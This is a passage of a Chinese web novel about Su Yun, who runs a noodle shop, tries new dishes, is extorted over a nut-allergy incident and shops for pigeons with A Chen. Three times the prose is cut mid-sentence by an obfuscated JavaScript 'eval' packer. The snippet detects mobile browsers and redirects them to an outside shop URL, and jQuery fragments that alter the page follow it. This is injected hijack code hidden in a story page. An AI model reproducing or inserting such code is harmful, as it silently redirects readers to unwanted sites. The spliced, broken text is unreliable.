她用长柄木勺从锅底轻轻推动，红豆沙、茶汤、羊奶，三种颜色搅在一起，变成一锅温润的奶茶。奶茶挂在勺壁上，流下去时留下一道淡淡的痕迹。 苏芸拿起小勺尝了一口，和她从前喝过的不大一样，茶味儿重了些，没有那种糖精兑出来的甜腻的味道。 最后把奶茶一勺一勺舀进竹筒里。竹筒外面裹着粗布保温。 苏平之把竹筒递给已经快馋哭的的食客。食客接过竹筒双手捂着，低头呼噜噜地喝了一口，然后张着嘴一口白气，周身的寒意瞬间被驱散了。 方若华也来了，她午后来的。 她从远远看见苏记面馆前面围着一圈人。食客们手上拿着烤肠在上面滋滋冒着油，还有人拿着炸肉饼，苏芸正在送着竹筒，装着热乎乎的奶茶。 她挤进去时，苏芸正嘴里叼着根烤肠送餐，见到她连忙挥着手含糊道“方…唔…方姑娘。” 方若华噗嗤一声笑了出来： “看你吃得真香，我都饿了呢！” 她掏铜板被苏芸按住了手。“不用，我请你！” 苏芸跑回灶房拿来两根刚烤好的烤肠递过去。肠衣烤得微微裂开，露出里面粉白的肉馅，热气从裂缝里往外冒。 一根是糖醋酱，一根是照烧酱。 方若华连连道谢，双手接过来咬了一口，呼呼……烫得直抽气，肉汁从嘴角溢出来，她忙用帕子擦了一下，手指头也沾了一点油光。 肠衣酥脆，肉馅鲜嫩，与酱汁混合在一起，香得她舌头发软。 她又咬了几口，眼睛幸福得眯起来。“好吃好吃！” 苏芸又拿来一块炸肉饼用油纸包好递给她。“光吃那个吃不饱，这肉饼也香，你尝尝。” 方若华接过来先闻了闻，然后咬下去。面衣咔嚓一声，碎屑落在油纸上，几点金黄的渣子粘在她嘴角。她嚼了几口，点点头，说不出话，只是竖了竖大拇指。 苏芸真的好厉害，会做这么多好吃的，都是在别处吃不到的美味。她心想。 苏芸又倒了一竹筒红豆奶茶塞进她手里。“再尝尝这个奶茶，新调的，解腻还保暖。” 方若华接过来，这次她说什么也不愿再白拿，硬是把钱掏出来塞在了苏芸手里。 竹筒温热，隔着粗布也能感到那股暖意。她低头喝了一口，红豆沙沙的，茶味淡淡的，羊奶的醇厚从舌根返上来，不甜不腻，刚好压住烤肠的咸香。 她又喝了一口，长长呼出一口气。 这天生意超好，还来了不少新食客，是他们去东市卖杯面时吸来的客源。 苏芸她数了数木盘里的铜钱，炸肉饼早卖完了，烤肠也一根不剩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488211|202112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她把空竹筒一个一个摞起来，竹筒口还残留着奶茶的甜香。装红豆奶茶的粗陶罐倒扣在案板上沥水，罐底还粘着几粒煮烂的红豆。她把烤肠铁槽里的炭灰倒进泔水桶，又用湿布擦了一遍槽底的油，布上沾了一层黑灰。 做完这些，苏芸和方若华一起，来到百花铺做客。 “随便坐，你看看有什么喜欢的玩意，我送你！” 方若华回到铺子里，把上午捣好的桂花碎收进瓷罐。铺子里光线柔和，碎花瓣落在地上，风一吹就散了。 苏芸坐下来，袖口还沾着烤肠的油烟气，和铺子里的桂花香混在一起，生出一种奇怪的暖和。 方若华从架子上取下一只小盒子递给苏芸。苏芸接过来拧开盖子闻了闻，不是扑鼻的浓香，淡淡的，很清新。 “桂花膏，昨天新做的，还加了几味安神的药材，你拿去用用看。” “好好闻！谢啦！” 苏芸合上盖子，把它收进袖中。 方若华又坐下来，拿起石臼继续捣花瓣。笃笃笃，和劈柴声一个节奏。 苏芸砍了一会儿，发现方若华其实是个力气很大的女孩。 云国崇尚以瘦为美，而她却是丰满型的，笑起来时脸颊两边的肉也会挤在一起，像个白馒头。 但就因为这样所以她才能干得了调香这活儿，也是百花铺里头牌的调香师，就连掌柜的也得客客气气与她说话。 石臼里的桂花碎慢慢变成细末，香气从石臼边缘溢出来，一丝一丝，就像奶茶从竹筒里冒出的热气。 这时候方若华忽然停下石臼。“今天那个烤肠，肉饼还有红豆奶茶，你明天还做吗？” 苏芸笑了。“做。” “那我先预定两份儿，我怕去得晚他们都抢光了！” “哈哈哈哈好好好，我给你留着！” 方若华开心地点点头，然后继续捣花。石臼声又响起来，笃笃笃，不长不短，一下又一下。 傍晚苏芸回到面馆时，天色已经暗下来了。 她跟着方若华玩了会儿做香，现在浑身各种味道混在一起，像是个行走的香炉似的。 等她回来时，阿沉把劈好的柴码得整整齐齐，比她走时多出两捆。 他蹲在灶房门口，膝盖上沾着木屑，斧头靠在墙边。 苏芸从他身边经过，袖中的桂花香膏晃了晃。阿沉的耳朵动了动。她走进灶房，把香膏放在窗台上。 窗外斧头声又响起来了，一下一下，右腿撑着，左腿微微屈着。比平时轻， 苏平之在柜台后面数铜钱，一枚一枚摞起来，又推倒，再摞起来。 苏芸从灶房出来时他抬起头。“芸儿，今日比平时多卖了近一半！”苏芸表示明日还做。苏平之把铜钱又数了一遍，金钱的响声让他们心情都很愉快。 ———————————————————— 苏芸把窗台上的桂花香膏拿下来，拧开盖子又闻了闻。淡淡清香，把整个房间都染上了味道。 阿沉从院角经过，脚步在窗下停了一瞬。她合上盖子，把香膏放在枕边。窗外月光照进来，能看见他高大的影子。 院角传来斧头劈进木柴的声音，比白天的轻，比白天的慢。一下又一下，苏芸在劈柴声的伴奏下，闭上了眼睛。 13. 受伤，食客出事，桂花清汤面 “啊啊啊……” “啊啊啊啊……” 苏芸躺在床上缩成一团，身上的衣服已经被打湿了。 这个月姨妈突然提前来了半个月，她前两天还在带着方若华吃冰激凌，结果现在人直接倒下来了。 “破地方我受够了……” 古代没有止疼药，连卫生巾也没有。每次来姨妈苏芸都得用月事袋，真的十分不方便。 “疼死了……我要回家……” 就好像有人拿勺子搅和一样，苏芸紧紧捂住肚子，疼的眼前都开始发虚了。 “芸儿。”苏平之敲门进来，手里还端着碗热水。 “还疼呢？来喝点热水吧。” “嗯……”苏芸在他的搀扶下勉强坐起身，顾不得烫直接大口吞下。 “你今天别去灶房了，那边有帮工在呢。等过会儿阿沉从南福寺回来我让他也去帮忙，前院我盯着就行，你好好休息。” “嗯，谢谢哥……” 苏芸虚弱地应了一声，然后眼前一黑，不知道是昏的还是累的，直接睡了过去。 苏芸一觉睡了很久很久，她没做梦，整个人的意识陷入在昏暗中，有种灵魂脱离肉.体的感觉。 她清楚地意识到自己在“飘”，但她不想回到那个壳子里，因为她很怕疼。 紧接着，属于她壳子的那一部分，突然传来一阵暖意。 那是一阵温柔的安抚，让苏芸不禁产生眷恋。 苏芸又飘回壳子里，放松地享受着那双手的安抚。 再睁眼时，太阳已经落下了，周围安安静静的。 肚子已经不疼了，但是身子还是有些发沉，苏芸手指一动，感觉有东西在压着她。 她微微偏过头看去，是阿沉。 他趴在床边，一只手握住她的，另一只手放在她的肚子上。 阿沉闭着眼睛已经睡着了，发出均匀疲倦的呼吸声，苏芸就这样看着他，没有再动。 ————————————————————— “啪嗒！” “嘶！” 苏芸左手按住右手手背，扭了几下。 她正切着肉呢突然一阵儿疼，像针扎了一样。 她又拿起刀，拎着晃了几下。 咦，现在不疼了，继续切肉。 哒哒哒哒 “啊！！” 苏芸痛苦地捂住手，脸色惨白。 外面的劈柴声停了，阿沉走了进来。 “怎么了？” “不知道……我手疼，突然就一阵阵疼。” 阿沉拉起苏芸那只右手，轻轻按了按。 “嘶……！” 按到某一处时，苏芸疼得直抽冷气。 “应该是…劳累过度扭伤了筋骨。”阿沉放下她的手。 “不要继续做菜…去休息。” “啊……不行啊。”苏芸连忙摇头。 “昨天我都在床上躺了一天，灶房里一堆活没做完呢，明天的菜也没备，还有……” 苏芸还没说完，阿沉直接站起来，把她从案板前拉开。他没再说话，只是把她按在矮凳上，然后自己站到了案板前。 阿沉拿起菜刀。他握刀的姿势不对，手指太靠前，苏芸刚要开口纠正，他已经开始切了。 刀刃落下去，肉块歪歪扭扭地裂开，切出来的肉丝粗的粗细的细，和她切的完全不一样。他停下来，看着案板上那堆肉，沉默了一会儿。 然后重新握刀，调整手指的位置，落下第二刀。这一刀比刚才准，但肉丝还是粗了。他又停下，看着自己的手。 “手腕要放松，刀顶往前靠，用身体的力量压下去，不是用手指捏。”苏芸坐在矮凳上，声音还带着点虚。阿沉照着她说的调整。 第三刀，肉丝细了。第四刀，更细了。他切得很慢，每一刀都要停一下，看一眼，再落下一刀。切出来的肉丝没有她切的均匀，但一根一根，码得整整齐齐。 苏芸靠在墙上，看着他的手。那双劈柴的手，握刀的样子很笨，但每一刀都很认真。 他切肉的节奏是哒～哒～哒，像刚学说话的小孩，一个字一个字往外蹦。手腕又开始隐隐作痛，肚子也开始疼，她按住右手手背，没有出声。 阿沉切完肉，回头看她的脸色，然后把肉丝码进碗里，加盐加酱，手指抓匀。他的手指粗，抓肉丝的时候却很轻，时不时还抬头看苏芸一眼用眼神向她确认。 他又去拿白菜，学着苏芸平时的样子，把白菜叶一片一片掰开，浸进清水里。洗好的白菜码在竹篮里，手起刀落，白菜应声而裂，切出来的丝却粗细不匀，一看就是新手切出来的。 这时候苏平之从外面进来，看见阿沉站在案板前切菜，眉毛一挑。 他走到苏芸旁边蹲下来，看了看她缠着布条的右手。“这是怎么了？” “手疼，一阵一阵的。”苏平之又安慰几句，起身走进灶房站到阿沉旁边，把切好的肉丝和白菜丝端去下锅。 两个男人在灶房里忙活，一个炒菜一个递调料，配合得很笨，锅铲碰锅沿的丁零当啷的比平时响了一倍。 方若华是午后来的。她提着一只小竹篮，里面装了两盒新调的香膏，一进门就看见苏芸右手缠着布条，坐在灶房门槛上，用左手慢慢搅着锅里的汤。 “芸儿，你手怎么了？” “扭了。”苏芸抬了抬右手。 “伤到筋了，只能养着。” 方若华把竹篮放下，蹲在她旁边看她的手。布条缠得紧紧的，在手腕外侧绕了好几圈，打了一个很结实的结。她认得这个结，是阿沉绑绳结时打的那种。 “阿沉给你包的？”“嗯。” “包得挺好。” 苏芸低头看了看手上的布条，有些不甘心地晃了晃。 “对了，我做了个新东西，你尝尝。”苏芸又站起来，用左手从灶台上端出一只小碗。 碗里是淡黄色的奶油状的东西，上面淋了一点蜂蜜，闻起来有股杏仁的香。方若华接过来夹了一筷子送进嘴里，杏仁的香和奶油的滑混在一起，甜而不腻，舌尖还有一点沙沙的杏仁碎。 “这个好！叫什么？” “杏仁奶油面，我打算当浇头用。杏仁是从干果铺子淘来的，这玩意很多人嫌苦不爱吃，价也便宜。我进了些，拿来捣成泥，加了羊奶和糖。” 方若华又吃了一口。“好好吃，又软又甜，像糯米糕！” 苏芸这下开心了，方若华这张嘴可是吃遍了整个云洲城，她说好吃那就是真的好吃。 苏芸觉得她已经看见一大堆白花花的银子在向自己跑过来了。 隔天，满血复活的苏芸把杏仁奶油面挂上了招牌。第一天卖出去四十多碗，食客们都说香。 有个经常来吃饭的缺牙老太太吃完一碗又要一碗，说这东西不费牙，还软。 晚上苏芸抱着托盘数钱，简直乐开了花。 第二天她又叫新来的帮工再去买些杏仁，把所有的货都买下来。 她还打算过两天做点杏仁酥，杏仁奶，杏仁糕，杏仁糖。 杏仁杏仁我们喜欢你。 那天卖了二百碗，苏芸和苏平之已经在聊什么时候扩建面馆里。 可就在第四天，出事了。 一个年轻妇人抱着孩子冲进来时苏芸正在端面。妇人怀里的孩子喘着粗气，脸上脖子上一片一片的红疹，嘴唇肿得发亮。 “老板娘！”妇人声音尖得像根刺，“你家面里放了什么！我儿要是有什么三长两短，我跟你没完！” 苏芸连忙跑过去，看见孩子喉咙里发出啊啊的声音，脸上全是红点点。 苏芸脑子嗡的一声。 这是过敏…这孩子对坚果过敏！ “你家是要人命啊！” 妇人的手指几乎戳到苏芸脸上，孩子在她怀里哭不出来，只能发出啊啊的声音。周围的食客全站起来不吃了，门口排队的也围城一圈。 有人嘀咕“这面里是不是加不干净的东西了？”。 苏芸手在抖，她一把扯下围裙：“快，去医馆！”阿沉已经从灶房冲出来了，他从妇人怀里接过孩子跑得飞快。 苏平之挡在苏芸前面，对着还在议论的食客们弯腰。“各位，今日杏仁奶油面全部下架，已经买了的我们退钱，没买的请不要再点了。”他的声音在发抖，但他站得很直。 有人嘟囔着“破地方，差点害死人”，有人把碗推开起身走了。 苏芸站在面馆门口，看着阿沉抱孩子跑远的方向，手指甲抠在肉里。 苏平之把钱退完，把杏仁奶油的招牌摘了下来，一头雾水。 “那孩子到底怎么回事？会不会是吃了其他的东西？” 苏芸摇摇头，古代平民不懂坚果过敏，她只好开口给他科普一番。 过了一个时辰阿沉回来了。 好在那孩子没事，大夫开了药，红疹退了，喉咙里的啊啊声也消了。 妇人跑过来里大骂苏芸心黑，骂她为了赚钱什么都敢往面里放。 这时候苏平之已经知道了过敏的事，见状站出来把苏芸护到身后。 “你孩子对坚果过敏你当娘的不知道吗？还给他吃什么杏仁面？” “怕不是利用孩子在这讹钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488213|202112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧！我告诉你想都不要想！” 两个人一来二去在面馆吵了起来，最后那妇人嚷嚷着要报官，还在门口大哭大闹，苏芸被烦得实在没有办法，为了不影响生意，只能问她要多少钱。 最后赔了五两银子，那妇人开开心心地走了，哪儿还有半点伤心的样子。 “真是缺德，拿孩子来讹人，估计咱们不是第一家被她讹的。”苏平之鄙夷道，阿沉看向那人的脸色也不大好看。 之后几天生意冷清了许多，是有人传苏记面馆用杏仁害人，传来传去传成了苏记面馆的面有毒。 晚上收工后，苏芸右手腕又开始疼，她没有按，只是看着自己的手。阿沉蹲在她旁边，把她的手拉过来，拇指按在她手腕外侧那根筋上，一下一下，很轻很慢。 苏平之在柜台后面数铜钱，数到一半停住了，今日的铜钱比平时少了近一大半。 方若华又来了，她也听说了杏仁的事，面馆出事以后她是第一个来的常客。 她带了一只小瓷罐，拧开盖子，里面是淡金色的膏体，桂花的香，还有一点蜂蜜的甜。 “可食用的桂花膏。”她递给苏芸，“上次你说杏仁不行，我想着桂花总没人过敏吧？我调了好几天，试了好几种方子，加蜂蜜加薄荷加茶末，最后定了这个。 苏芸接过来，用手指蘸了一点放进嘴里，桂花的香从舌尖漫开，不像杏仁那么冲，是慢慢渗出来的那种香。 “可以做桂花清汤面。”她抬起头，“桂花膏调进汤里，配细面，清淡口的，云洲人吃不惯重酱，这个正好。” ———————————————————— 桂花清汤面挂上招牌那天，是个晴天。苏芸把桂花膏调进滚热的清汤里，淡金色的膏体慢慢化开，汤面上飘起一层极淡的油脂，桂花的香从灶房漫出去，一直飘到街口。 就一碗清汤，一勺桂花膏，一把细面，几粒葱花。第一碗端出去时食客们伸着脖子看，汤色清亮，桂花香若有若无。 食客小心翼翼喝了一口汤，然后挑起面条送进嘴里，嚼着嚼着停了一下，又喝了一口汤，最后把碗端起来，连汤带面吃了个干净。“老板，再来一碗！” 桂花清汤面爆了。不是杏仁奶油面那种“卖得不错”，是真正的爆。 她还打算过两天做点桂花酥，桂花奶，桂花糕，桂花糖。 桂花桂花我们喜欢你。 苏平之数铜钱数到手软，木盘里堆成小山，他又去拿了两个木盘，还是不够装。铜钱从木盘边缘溢出来，叮叮当当滚到桌上，苏平之和苏芸二人摸着铜钱，笑开了花。 之前杏仁面赔掉的五两银子，不到十天就赚回来了。苏芸站在灶房里，开开心心地用左手拿勺搅汤。 阿沉不让她动刀，他就站在她旁边，替她切葱花，替她捞面，替她把一碗一碗桂花清汤面端出去。 方若华把方子给了苏芸，还花了一天的时间教她怎么调出同款。 苏芸不白拿，算她入了股，每星期一结，给分红。 她动过心思想让方若华辞职跟自己干，但又怕朋友间做生意最后走散了。 现在这样，她入个小技术股，定期给钱，挺好。 桂花面的火爆，自然也惊动了友商。 全福楼的人来了三次。 第一次是伙计，买了碗桂花清汤面端回去。第二次是掌勺师傅，亲自来吃，吃完回去调了很久，调不出那个味儿。 第三次，张华生亲自出马。 来之前他把伙计们都骂了一通。 “一群废物，连区区一碗面条都做不出来，白养你们了！” 张华生坐在角落，点了一碗桂花清汤面。面端上来，他先闻了闻，然后喝了一口汤。淡淡的花香和淳厚的高汤混合在一起，鲜得他舌尖直跳。 很快，一碗面吃得干干净。 回去后张华生亲自做了一次，夹起一口尝了尝。 呸，什么味儿！ 但很快，张华生就查到了桂花膏这条线索。他也找了调香师调制，可加在面里却怪怪的，像在干吃花似的！ 没办法，他只好约见了方若华，把人请到了全福楼。 “每月二十两。”张华生把银锭放在桌上，你把方子交出来就成。 张华生信心满满，他打听过的，方若华在那边每个月拿分红最多五两，他给的足足多了四倍！ 方若华看着桌上那几锭银子，没有说话。 另一边苏芸正在调今天的最后一锅汤，手腕又开始隐隐作痛。她按了按右手背，看了眼锅里提前准备好的奶茶烤肠和面条。 方若华今天没来。 15. 员工偷懒，阿沉误会 今天是正月初八。 苏芸不大开心。 新来的帮工全迟到了，定好的卯时上班，结果四人拖到了辰时快结束才来。 “老板，天太冷了起不来啊。” “是啊老板，我这昨天都没睡好，现在头还疼呢！” “哦？”苏芸放下手中的面团，从上到下打量着为首那个叫阿才的人。 “起不来那就回去睡吧，不过啊工钱可是要扣的，干多少活儿呢就拿多少钱。” 苏芸每日的工钱都是日结的，她性子好，对人也客气，按理说以真心换真心，就像福子他们。 可这四位呢，喜欢看人下菜碟的，见苏芸好说话，干活也就渐渐松懈不少，还时不时到灶房里拿点吃的喝的。 眼下见苏芸要扣钱，阿才不乐意了，一张长脸拉得更长。 “老板，我们几个每天从郊外赶过来也不容易，怎么能说扣钱就扣钱啊？” “你不发钱我们吃什么？不行！我们不同意！” 其他几人也应和着，这时候外面啪啪啪的劈柴声停了，紧接着一个高大的身影走进灶房 阿沉。 他衣服上还沾着木屑，右手拎着锋利的斧头，走到案板旁边。 啪！ 斧头牢牢钉在案板上，案板震得都弹了几下。 随后阿沉轻松抽出斧头，乖乖站到了苏芸身后，面无表情地看着对面四人。 几人下意识退后几步。 苏芸憋住笑，开口问道： “各位，我云洲话不大好，你们刚才说什么来着？再说一遍？” ————————————————————— 这日的餐是苏芸和阿沉一起送的，因为晚了一刻钟，苏芸还多准备了几分甜品略表歉意。好在静宁没有怪她，还叮嘱苏芸雪天路滑，让她别太着急。 静宁没有急着走，站在廊下和苏芸说了会儿话。雪还在下，细细的，落在静宁的僧袍上，落在苏芸的棉袄上，落在阿沉肩头，又很快化掉。 回去的时候苏芸手里多了个平安符。 是福子他娘送的。 老人家姓沈，自从搬到苏芸给的寮房之后，病情好转许多，甚至都能下地走动走动了。 沈大娘听儿子说了苏芸对他的照顾，心中无比感激，花了好些日子缝了个平安符，还在南福寺找住持开了光，亲自跪下祈福，保佑苏芸平平安安。 “姑娘，老婆子我没什么钱，这个是我亲手做的，你别嫌弃啊……” “不嫌弃不嫌弃，大娘您这是什么话，这么好的平安符外头买都买不到呢，我还要谢谢大娘想着我。” 苏芸又想起静宁，她说福子他娘最近身子好多了，每天清晨都去佛堂念经，念完了就坐在寮房门口缝东西，缝了拆，拆了缝，来来回回好几天，才做出那个平安符。 苏芸想到这里，手指无意识地摸了摸袖中的平安符，符面缝得密密实实，针脚不太匀，但每一针都扎得很深。 这针好像也扎进了苏芸的眼睛里，她现在觉得眼睛发酸。 回来后苏芸换了身衣服，是过年的时候苏平之送的那套石榴红袄子，领口缀着一圈兔毛，衬得她的脸又小又白。然后她拉着阿沉去了东市。 苏平之没一起，自从苏芸送了他文房四宝后，他没事儿坐在角落里练练字，看看书，偶尔还会发呆出神，苏芸问起他却笑着说没事。 苏芸和阿沉来到东市，今天是一年一度的鸽子会 苏芸和阿沉刚走到街口，一股热浪混着鸽羽的气味扑面而来。整条街密密麻麻全是人，肩膀挨着肩膀，脚跟碰着脚跟。头顶上横七竖八拉着竹竿，上面挂满了鸽笼，灰的白的花的，咕咕咕的声音从四面八方涌过来，像一锅煮开的粥。 有鸽子从笼子里探出头，歪着脑袋打量底下的人，冷不丁扑棱一下翅膀，细碎的绒毛从半空飘下来，落在路人的肩上和头发上。 卖鸽子的蹲在路边，笼子摞成小山，见有人经过就提起一只鸽子往前送，“姑娘看看，这只白得多干净！” 旁边两个鸽友为了种鸽的事争得面红耳赤，一个说看眼砂一个说看翅形，嗓门大得能把鸽子惊飞。空气里混着鸽粪味、干草味、糖炒栗子的甜香，还有路边馄饨摊飘来的热汤气，闹哄哄的，却闹得人心里热腾腾的。 “呦！” 苏芸被一行人不小心挤了下，差点摔倒，好在阿沉眼疾手快，拉住了她。 “人多，小心。” “嗯嗯，真是没想到啊，我还以为没什么人呢！” 苏芸被阿沉紧紧拉着，周围全是提着笼子的鸽友，耳边还时不时传来讨价还价的声音。 经过一段时间的补习，苏芸的云洲话有了些进步，就算不靠苏平之翻译，日常对话她也能听懂个大概了。 “阿沉，你懂鸽子吗？”苏芸走到一处小摊前停下脚步，竹笼里面的鸽子毛色雪白发亮，眼睛也炯炯有神的。 “懂一点。” “那你看看这个。”苏芸指着笼子问阿沉。 她不懂鸽子，不过按她在现代时照顾狗狗的经验嘛，看宠物的毛色和眼神，准错不了。 阿沉盯了一会，又开口对小贩说： “可以摸一下吗？”小贩笑容有点僵硬，但还是打开了笼子。 阿沉大手伸进去，来回摸了两下，随后抽开手，关上笼门。 “…去别处看看。” “哎等等呀！”小贩急了，忙喊住二人。 他瞧出来苏芸是主子，提起笼子谄笑着继续推销： “姑娘，您再看看呗，我家的鸽子很便宜的，您要是买的多啊，再给您打个折！” 苏芸犹豫着停下脚步，刚才她走了一圈，好些小摊上卖的鸽子都是花色的，看着有那么点慎人，她还是喜欢纯色动物。 “如果买十只，多少钱？” “十只啊！我家鸽子都是优质的种鸽，一只要六百文！十只六千！” “我给您算便宜些，四千五如何？再加两包鸽食！” 四千五，苏芸的预算是五千文，这个价格也算合理。 况且那小鸽子是真的可爱，一双眼睛直勾勾地盯着苏芸，要不是怕暴露出自己喜欢不好砍价，苏芸都想上手摸摸它们了！ “那就……”苏芸想说那就凑个整，四千文。 话还没说完，阿沉拦住了她。 “骗人，不是种鸽。”他瞥了眼小贩，对方眼神躲闪。 “这个…一只，二百。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17488215|202112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “二百…！”小贩眼睛瞪的巨大，心里那个火呦！ 好不容易要做成一单大生意，结果却被这个讨厌的黑脸仆人给搅糊了！ 最后经过一番拉扯，苏芸把价格砍到了十只一千八，还赠了两包鸽子食。 “来阿沉，这个给你。” 回去的路上苏芸拿过阿沉的荷包，往里面装了一钱银子。 ？ “谢谢你替我省下一笔钱，奖金！” 阿沉低下头摸了摸荷包，丝毫没有露出喜悦的表情。 “我……”沉默良久，阿沉开口问道。 “你给我钱，是把我……当外人。” “啊？？没有啊，你胡说什么呢！”苏芸连忙否认，谁家外人还一起过年一起出去玩啊！ “如果…今天是大哥，你会给他钱？” “我……”苏芸语塞。 是啊，如果是苏平之，她只会嘻嘻哈哈地说哥哥最厉害了回去给你加份儿甜品之类的话，怎么会提钱。 在她心里已经默认了苏平之是自己人，一家人给谢礼干嘛，左兜装右兜？那不有病吗？ 可是阿沉呢？ —————————————————————— 苏平之写完了字，又看了会儿书，然后把面馆仔细打扫了一番，空气里都散发着湿漉漉的水汽。 他伸了个懒腰，看了看天色。 “都这个时辰了。估计芸儿和阿沉也快回来了。” 苏平之又跑到灶房里，把准备好的三碗面条端了出来。 他最近厨艺又进步许多，坐等芸儿夸夸，嘿嘿… 不一会儿，苏芸和阿沉回来了，两个人手上分别提着几只鸽子笼，鸽子在笼子里咕咕叫着，偶尔扑棱一下翅膀，细碎的绒毛从缝里飘出来。 “怎么买这么多鸽子？”苏平之走上前接过两笼，提起来好奇地看了看。 “芸儿，你要做鸽子面吗？这鸽子肉不太好吃啊……” “不是啦哥。”苏芸苦笑着摇摇头，没有进一步解释。 “那先放后院吧，哎对了，我做了面条，你们赶紧趁热吃！” “阿沉，你喜欢照烧汁还是糖醋汁来着？我准备的糖醋，没记错吧？” 阿沉顿住身子，苏平之只看到他的背影。 “嗯…麻烦…大哥了。” “你们先吃，院子里…还有活要干。” 说完阿沉掀开帘子，直接走到了后院，从柴房拿出捆柴火。 啪。 啪。 劈柴的声音闷闷的，一下比一下长。 苏芸没有说话，低下头默默吃面。 “阿沉，你吃完再劈柴啊！今天又不营业，急什么嘛！” 啪。 啪。 回应苏平之的只有劈柴声。 苏芸皱了下眉，又往嘴里送了口面。 苏平之看了眼苏芸，觉得自家妹妹好像不大对劲。 “芸儿…这个面，是不是不太好吃？”苏平之有些忐忑地问。 “没有啊哥，很好吃，你又进步了。”苏芸笑着否认道，然后又喝了口面汤。 啪。 啪。 劈柴声还在继续。 16. 想让哥哥离开 叩，叩，叩。 夜里阿沉坐在柴房里，突然听见微弱的敲门声，还有脚步快速离开的声音。 …苏芸？ 阿沉立刻起身打开门，地下放着一个托盘，里面有一碗还冒着热气儿的奶茶，还有一张纸条。 【阿沉，今天的事情很抱歉，其实在我心里你和平之哥都是一样的，我真的没有把你当过外人！煮了奶茶送给你喝，希望甜甜的茶水能让你心情好些。苏芸。】 阿沉看着歪歪扭扭的字，苏芸写得像虫子，他看了几遍才完全看懂。 他把纸条叠好收进怀里，然后端起奶茶，喝了一大口。 很甜。 他嘴角忍不住上扬，这奶茶放得糖有些多了，都放到他心里去了。 下午回来时郁闷的心情被一碗奶茶完全冲散，阿沉躺在床上，翻了翻身，满脑子都在回想下午的事情。 ……自己是不是有点凶？ 好像有点过分了。 阿沉从床上坐起来，打开房门。 要去…道歉 另一头，苏芸透过窗户看见阿沉把奶茶端进去，心里松了口气。 “还愿意喝奶茶，那还是可以哄的好的！” 嘿嘿～ 苏芸咧嘴一笑，合上了窗户。 睡吧睡吧，明天一切都好啦！ 她刚想转身，结果突然停在原地。 “啊啊啊啊啊啊啊！！！！！” 一阵撕心裂肺的尖叫响彻面馆！ 下一秒，门啪得一声被踹开了。 “怎么了怎么了？”随后苏平之也从前院赶了过来，还穿着里衣，两个人齐齐看向苏芸。 “钱串子……”苏芸吓得已经坐在了地上，带着哭腔连滚带爬跑到二人身后。 二人顺着她指的方向一看，只见一条长长的有很多脚的大爬虫正在窗台上慢慢爬行。 阿沉挣脱开苏芸抓着她的手，走上前伸手捏起虫子。 苏芸立刻远远躲开给他让路。 “没事儿啊芸儿，别怕别怕。”苏平之见她吓得脸都白了，拍着她的肩膀安慰道。 苏芸快哭了，她最怕虫子！就因为这点当年她报志愿全报的北方大学。 “哥，你怕不怕？”苏芸紧紧抓着苏平之。 “啊？大虫吗？不怕啊。” 那咱俩换吧！我睡大堂，你睡我屋！”苏芸眼睛一下子亮了，她睡得这屋有些潮湿，所以会招来东西。大堂好啊大堂干燥多了。 “啊…也行，那我去把被褥抱过来。”苏平之刚想走，却被处理完虫子回来的阿沉拦下。 “大堂，她，不安全。” 也对啊。苏平之脚步停下了，当初他睡大堂就是防着有些不三不四的来闹事，方便应付。 “那我们仨一起睡！反正地方那么大！”苏芸坚决不妥协，比起安全她更怕虫子！ 小贼只要钱，虫子要她命！ …… 片刻后，三人齐齐躺在大堂地上，苏平之在最外面，中间是阿沉，然后是枕头，枕头旁边是苏芸。 苏平之躺下后很快就睡着了，苏芸没有睡着，门外的月光洒了进来，正好洒在他们身上。 “阿沉，你睡了吗？”苏芸用气音小声问道。 “没有。” “那……你消气了吗？”她又问。 “嗯。”阿沉回答的很快，紧接着他翻了个身，面向苏芸。 “下午我态度差了些，抱歉。” “其实…我没有生你的气。” “我知道，我知道的。” 也许是黑夜给予的勇气，苏芸伸出手，抓住阿沉。 “阿沉，你永远都是我的家人，我们会一直在一起，永远不分开。” “好，永远不分开。”阿沉回握住苏芸的手，黑夜里，两个人的手紧紧握在一起。 —————————————————— 三峰山。 一月的郊外，雪已化了大半，露出底下枯黄的草茬。空气冷得吸进鼻子里像喝了口冰水。苏芸坐在一块干石头上，哈出的白气一阵一阵模糊了视线。 阿沉站在十步开外，手里捧着一只白鸽。这是那十只里最精神的一只，身体饱满，眼神锋利。他把鸽子轻轻贴在胸口，让它听了片刻心跳，然后把鸽子往天上一送。白鸽扑棱棱飞起来，在低空盘旋了半圈，落回他肩上。阿沉从腰间布袋里摸出几粒麦子，摊在掌心，鸽子低头啄食，发出咕咕的轻响。 